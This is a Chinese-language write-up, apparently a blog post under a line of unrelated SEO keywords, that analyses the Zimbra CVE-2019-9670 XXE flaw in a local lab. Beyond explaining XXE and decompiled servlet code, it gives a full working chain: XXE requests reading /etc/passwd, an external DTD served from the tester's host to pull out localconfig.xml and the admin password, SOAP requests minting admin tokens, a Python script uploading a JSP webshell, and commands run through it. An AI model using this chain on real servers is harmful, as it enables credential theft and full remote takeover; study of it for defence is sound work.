虚拟主机建设网站绑定域名,如何制作手机网页链接,门户网站制作模板,网站实现微信登录Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
漏洞简介 Zimbra是著名的开源系统#xff0c;提供了一套开源协同办公套件包括WebMail#xff0c;日历#xff0c;通信录#xff0c;Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决…Zimbra 远程代码执行漏洞(CVE-2019-9670)漏洞分析
漏洞简介 Zimbra是著名的开源系统提供了一套开源协同办公套件包括WebMail日历通信录Web文档管理和创作。一体化地提供了邮件收发、文件共享、协同办公、即时聊天等一系列解决方案。此漏洞的主要利用手法是通过 XXE (XML 外部实体注入) 漏洞读取localconfig.xml配置文件来获取Zimbra admin ldap password,接着通过SOAP AuthRequest认证得到Admin Authtoken,最后使用全局管理令牌通过ClientUploader扩展上传Webshell到Zimbra服务器从而实现通过Webshell 来达到远程代码执行效果。(需要注意最后要达到RCE要结合SSRF漏洞即需要结合另一个漏洞CVE-2019-9621) 漏洞影响范围
Zimbra 7.11 版本中攻击者可以在无需登录的情况下实现远程代码执行。
Zimbra 8.11 版本中在服务端使用 Memcached 做缓存的情况下经过登录认证后的攻击者可以实现远程代码执行。漏洞环境搭建 此次采用本地环境搭建的方式进行,因为vulhub没有这个靶场,搭建环境比较复杂,具体步骤查看https://blog.csdn.net/sxr__nc/article/details/130115884?spm1001.2014.3001.5502 漏洞复现 (此处只针对漏洞是否存在进行复现验证) 使用bp向目标服务器发送如下数据包,其中利用接口如下:/Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Cookie: ZM_TESTtrue;ZA_SKINserenity;!DOCTYPE xxe [
!ELEMENT name ANY
!ENTITY xxe SYSTEM file:///etc/passwd ]
Autodiscover xmlnshttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006aRequestEMailAddressaaaaa/EMailAddressAcceptableResponseSchemaxxe;/AcceptableResponseSchema/Request
/Autodiscover查看返回的数据包如下: 成功返回passwd文件内容. 漏洞原理分析
前置背景
关于XML注入漏洞 XML有两个先驱——SGML标准通用标记语言和HTML超文本标记语言这两个语言都是非常成功的标记语言。SGML多用于科技文献和政府办公文件中SGML非常复杂其复杂程度对于网络上的日常使用简直不可思议。HTML免费、简单已经获得了广泛的支持方便大众的使用。而XML可扩展标记语言它既具有SGML的强大功能和可扩展性同时又具有HTML的简单性。 XML注入攻击和SQL注入攻击的原理一样利用了XML解析机制的漏洞如果系统对用户输入,没有做转义的处理攻击者可以修改XML的数据格式或者添加新的XML节点就会导致解析XML异常对流程产生影响。 攻击方式 如下为正常的注册访问用户XML数据其中用户名由用户自己输入。
?xml version1.0 encodingUTF-8
user roleguest用户输入/user正常情况下的用户输入可以是如下格式:
?xml version1.0 encodingUTF-8
user roleguestAdmin/user
?xml version1.0 encodingUTF-8
user roleguesttest/user攻击者构造恶意数据可能是如下格式:
?xml version1.0 encodingUTF-8
user roleguesttest/user
user roleadminHacker/user即攻击者在输入用户名数据的时候构造test\/user\user roleadminHacker这样的恶意数据包如果系统对用用户输入的,符号没有进行处理就会导致上述类型的攻击攻击者在发送上述类型的数据包的时候可以新建一个admin权限的用户Hacker.
关于XXE注入漏洞
XML外部实体注入(XML External Entity)简称XXE漏洞。XXE:XML External Entity即外部实体从安全角度理解成XML External Entity attack外部实体注入攻击由于程序在解析输入的XML数据时解析了攻击者伪造的外部实体而产生的。 概括一下就是攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
关于DTD
XML文档有自己的格式规范而这个格式规范是由DTD(document type definition)控制的示例代码如下:
?xml version1.0?//这一行是 XML 文档定义
!DOCTYPE message [
!ELEMENT message (receiver ,sender ,header ,msg)
!ELEMENT receiver (#PCDATA)
!ELEMENT sender (#PCDATA)
!ELEMENT header (#PCDATA)
!ELEMENT msg (#PCDATA)DTD文档类型定义的作用是定义 XML 文档的合法构建模块。DTD 可被成行地声明于 XML 文档中也可作为一个外部引用。
内部的 DOCTYPE 声明
假如DTD被包含在XML源文件中它可以通过下面的语法包装在一个DOCTYPE声明中
!DOCTYPE root-element [element-declarations]带有 DTD 的XML文档实例:
?xml version1.0?
!DOCTYPE note [
!ELEMENT note (to,from,heading,body)
!ELEMENT to (#PCDATA)
!ELEMENT from (#PCDATA)
!ELEMENT heading (#PCDATA)
!ELEMENT body (#PCDATA)
]
note
toTove/to
fromJani/from
headingReminder/heading
bodyDont forget me this weekend/body
/note详细解释如下:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素to、from、heading,、body
!ELEMENT to (第四行)定义 to 元素为 #PCDATA 类型
!ELEMENT from (第五行)定义 from 元素为 #PCDATA 类型
!ELEMENT heading (第六行)定义 heading 元素为 #PCDATA 类型
!ELEMENT body (第七行)定义 body 元素为 #PCDATA 类型
下边的数据即标识具体对应元素的数据外部的 DOCTYPE 声明
如果DTD位于XML源文件的外部那么通过下边的语法封装在DOCTYPE中:
!DOCTYPE root-element SYSTEM filename带有外部DTD的XML文档示例:
?xml version1.0?
!DOCTYPE note SYSTEM note.dtd
notetoTove/tofromJani/fromheadingReminder/headingbodyDont forget me this weekend!/body
/note其中外部dtd文件内容如下:
!ELEMENT note (to,from,heading,body)
!ELEMENT to (#PCDATA)
!ELEMENT from (#PCDATA)
!ELEMENT heading (#PCDATA)
!ELEMENT body (#PCDATA)关于DTD中的实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。 1实体引用是对实体的引用。 2实体可在内部或外部进行声明。内部实体的声明:
语法:!ENTITY entity-name entity-value
示例:
!ENTITY writer Donald Duck.
!ENTITY copyright Copyright runoob.com
引用:
authorwriter;copyright;/author外部实体的声明:
语法:!ENTITY entity-name SYSTEM URI/URL
示例:
!ENTITY writer SYSTEM http://www.runoob.com/entities.dtd
!ENTITY copyright SYSTEM http://www.runoob.com/entities.dtd
引用:
authorwriter;copyright;/author !--这里的引用会直接获取到外部的dtd文件的内容--通用实体:用实体名;引用的实体在DTD中定义在XML文档中引用
?xml version1.0 encodingutf-8?
!DOCTYPE updateProfile [!ENTITY file SYSTEM file:///c:/windows/win.ini ]
updateProfile firstnameJoe/firstname lastnamefile;/lastname ...
/updateProfile
!--此处file:即为参数实体在DTD中定义为一个外部的实体--参数实体: 1.使用% 实体名;引用的实体,在DTD中定义并且只能在DTD中使用%实体名;引用 2.只有在DTD文件中参数实体的声明才能引用其他实体 3.和通用实体一样参数实体也可以外部引用
!ENTITY % an-element !ELEMENT mytag (subtag)
!ENTITY % remote-dtd SYSTEM http://somewhere.example.org/remote.dtd
%an-element; %remote-dtd;xxe漏洞原理
?xml version1.0 encodingISO-8859-1?
!DOCTYPE foo [
!ELEMENT foo ANY
!ENTITY xxe SYSTEM file:///c:/test.dtd ]
creds
userxxe;/user
passmypass/pass
/creds以上示例代码在解析的时候会提交两个主要参数一个是passmypass\/pass,一个是userxxe;/user在解析的过程中遇到实体的引用会直接获取相应的内容即这里碰到xxe会直接获取到外部实体file:///c:/test.dtd的内容,这样一来处理数据会很方便但同时也会有巨大的安全隐患:如果把目标dtd文件换成敏感文件这样就会获取到敏感文件的内容。
?xml version1.0 encodingISO-8859-1?
!DOCTYPE foo [
!ELEMENT foo ANY
!ENTITY xxe SYSTEM file:///etc/passwd ]
creds
userxxe;/user
passmypass/pass
/credsCVE-2019-9670在原理上和这个是相通的。
定位漏洞点
向https://192.168.220.56:7071/Autodiscover/Autodiscover.xml发送一个空的xml数据包,如下:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 7
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Cookie: ZM_TESTtrue;ZA_SKINserenity;a/a查看返回的数据包:
HTTP/1.1 400 No Email address is specified in the Request
Date: Thu, 06 Apr 2023 11:46:58 GMT
Content-Type: text/html;charsetiso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 339html
head
meta http-equivContent-Type contenttext/html;charsetutf-8/
titleError 400 No Email address is specified in the Request/title
/head
bodyh2HTTP ERROR 400/h2
pProblem accessing /service/autodiscover/Autodiscover.xml. Reason:
pre No Email address is specified in the Request/pre/p
/body
/html注意关键字:No Email address is specified in the Request。 使用反编译软件反编译zimbrastore.jar包,在其中查找该字符串:找到之后打开目标文件 打开目标文件之后.定位到报错信息,可以发现这块的处理逻辑是由doPost函数进行处理的:到这儿就已经大概定位到漏洞函数了,接下来继续对该函数进行深入分析. doPost函数逻辑分析 doPost函数的主要逻辑解析如下:
public void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {····················· NodeList nList doc.getElementsByTagName(Request); //获取request标签的内容for (int i 0; i nList.getLength(); i) {Node node nList.item(i);if (node.getNodeType() 1) {Element element (Element)node;email getTagValue(EMailAddress, element); //获取EMailAddress标签的内容responseSchema getTagValue(AcceptableResponseSchema, element);if (email ! null) //获取AcceptableResponseSchema标签的内容break; } } } catch (Exception e) { //处理异常 如果body体为空返回报错信息 Body cannot be parsed log.warn(cannot parse body: %s, new Object[] { content }); sendError(resp, 400, Body cannot be parsed);return;} if (email null || email.length() 0) { //如果获取到的email地址为空返回报错信息log.warn(No Email address is specified in the Request, %s, new Object[] { content });sendError(resp, 400, No Email address is specified in the Request);return;} //对AcceptableResponseSchema内容进行判断如果不满足条件返回报错信息503并且返回AcceptableResponseSchema的内容。此处也正是造成XXE回显漏洞的关键点if (responseSchema ! null responseSchema.length() 0)if (!responseSchema.equals(http://schemas.microsoft.com/exchange/autodiscover/mobilesync/responseschema/2006) !responseSchema.equals(http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a)) {log.warn(Requested response schema not available responseSchema);sendError(resp, 503, Requested response schema not available responseSchema);return;} log.debug(Authenticating user);······························逻辑整理:通过分析doPost函数的处理流程在整体的处理过程中对于请求的数据包只针对EMailAddress和AcceptableResponseSchema两个字段进行的解析在解析的过程中会判断获取到的邮箱地址和AcceptableResponseSchema字段是否满足既定条件具体判断如下:
1:判断获取到的邮箱地址是否为空为空或者长度为0则返回400的报错信息提示请求的数据包中没有Email地址
2:判断AcceptableResponseSchema字段数据是否为空或者长度是否为0
3:判断AcceptableResponseSchema是否等于既定的数据如果不等于则返回503的报错信息与此同时返回AcceptableResponseSchema字段中的数据
和上边已经介绍过的XXE漏洞相同在这里如果把引用的外部实体修改为敏感文件路径就会直接获取到敏感文件的内容同时回显出来漏洞后续利用
前提条件
如果要想达到RCE的效果需要再结合SSRF漏洞来完成即需要结合CVE-2019-9621进行结合利用CVE-2019-9621是一个SSRF漏洞这两个漏洞结合可以达到RCE的效果。(这个其实是官方的利用思路但是其实不需要9621也可以直接完成RCE)
获取关键配置文件信息 接下来利用上述xxe漏洞获取zimbra的关键配置文件内容目的是从配置文件中获取zimbra的用户名及密码信息。对应的关键配置文件为localconfig.xml,但是还有一个问题这个目标文件是一个xml文件因此不能直接在数据包中替换(由于localconfig.xml为XML文件需要加上CDATA标签才能作为文本读取)需要借用外部dtd,构造的外部dtd如下:
!ENTITY % file SYSTEM file:../conf/localconfig.xml
!ENTITY % start ![CDATA[
!ENTITY % end ]]
!ENTITY % all !ENTITY fileContents %start;%file;%end;创建的poc.dtd文件在本地开启http服务保证在发送数据包的时候可以成功访问到目标文件 发送如下数据包:
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Cookie: ZM_TESTtrue;ZA_SKINserenity;!DOCTYPE Autodiscover [!ENTITY % dtd SYSTEM http://192.168.220.124:8000/poc.dtd%dtd;%all;]
Autodiscover xmlnshttp://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006aRequestEMailAddressaaaaa/EMailAddressAcceptableResponseSchemafileContents;/AcceptableResponseSchema/Request
/Autodiscover服务端的数据请求记录: 返回的数据包如下:成功获取到密码 获取低权限token 接下来的利用接口为:https://IP:7071/service/admin/soap 发送的数据包如下:
POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Cookie: ZM_TESTtrue;ZA_SKINserenity;soap:Envelope xmlns:soaphttp://www.w3.org/2003/05/soap-envelopesoap:Headercontext xmlnsurn:zimbrauserAgent nameZimbraWebClient - SAF3 (Win) version5.0.15_GA_2851.RHEL5_64//context/soap:Headersoap:BodyAuthRequest xmlnsurn:zimbraAccountaccount byadminNamezimbra/accountpasswordXXXX/password //填写上边获取到的密码/AuthRequest/soap:Body
/soap:Envelope相应的数据包如下: 获取高权限token 这里需要注意下:官方发出的通告声明这里需要使用SSRF漏洞(即CVE-2016-9621)进行高权限的token获取其实只需要将上边的数据包中的字段修改下即可直接获取到高权限的token当然这个方式有运气的成分但是也是有理可依的,发送如下数据包: PS:看一些资料提到需要将host后边添加端口号7071,我这里没有添加也可以获取到高权限的token | POST /service/admin/soap HTTP/1.1
Host: 192.168.220.56
Connection: keep-alive
Content-Length: 461
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://192.168.220.56
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.220.56/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q0.9
Cookie: ZM_TESTtrue;ZA_SKINserenity;soap:Envelope xmlns:soaphttp://www.w3.org/2003/05/soap-envelopesoap:Headercontext xmlnsurn:zimbrauserAgent nameZimbraWebClient - SAF3 (Win) version5.0.15_GA_2851.RHEL5_64//context/soap:Headersoap:BodyAuthRequest xmlnsurn:zimbraAdminaccount byadminNamezimbra/accountpasswordoD4I8Bnm/password/AuthRequest/soap:Body
/soap:Envelope获取到的数据包内容如下: 官方利用方式:利用SSRF漏洞完成
Post: /service/proxy?targethttps://IP:7071/service/admin/soap
Ps:(1)HOST:后面加端口7071(2)Cookie中设置Key为ZM_ADMIN_AUTH_TOKEN值为获取到的低权限token(3)发送获取普通权限token的body内容但是将AuthRequest的xmlns改为: urn:zimbraAdmin利用高权限token上传文件
import requests
file {
filename1:(None,whocare,None),
clientFile:(sunian.jsp,r%if(023.equals(request.getParameter(pwd))){java.io.InputStream inRuntime.getRuntime().exec(request.getParameter(i)).getInputStream();int a -1;byte[] b new byte[2048];out.print(pre);while((ain.read(b))!-1){out.println(new String(b));}out.print(/pre);}%,text/plain),
requestId:(None,12,None),}
headers {
Cookie:ZM_ADMIN_AUTH_TOKEN0_512db09799df40f318caa342dc61ce4d1b965fd9_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638313133343531343539373b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3436303035343039303b76657273696f6e3d31333a382e372e375f47415f313738373b,#改成自己的admin_token
Host:foo:7071}
rrequests.post(https://192.168.220.56:7071/service/extension/clientUploader/upload,filesfile,headersheaders,verifyFalse)
print(r.text)实现RCE 上传文件成功之后访问地址https://192.168.220.56:7071/downloads/sunian.jsp访问的时候需要在Cookie里边填写高权限的token发送请求数据包如下:(这里远程执行ls命令)
GET /downloads/sunian.jsp?pwd023ils HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close返回的数据包如下: 尝试执行其它命令:发送如下数据包:
GET /downloads/sunian.jsp?pwd023iid HTTP/1.1
Host: 192.168.220.56:7071
Cookie: ZM_ADMIN_AUTH_TOKEN0_6b3e2f178f9c29a7b39e925fa7dd20f56c141708_69643d33363a65306661666438392d313336302d313164392d383636312d3030306139356439386566323b6578703d31333a313638303938313735373037333b61646d696e3d313a313b747970653d363a7a696d6272613b753d313a613b7469643d393a3538343831363132333b76657273696f6e3d31333a382e372e375f47415f313738373b
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/apng,*/*;q0.8,application/signed-exchange;vb3;q0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q0.9
Connection: close执行id命令返回的数据包如下: 参考链接
https://xz.aliyun.com/t/7991 https://www.hacking8.com/bug-product/Zimbra/CVE-2019-9621-CVE-2019-9670-Zimbra-远程代码执行漏洞.html https://coco413.com/archives/52/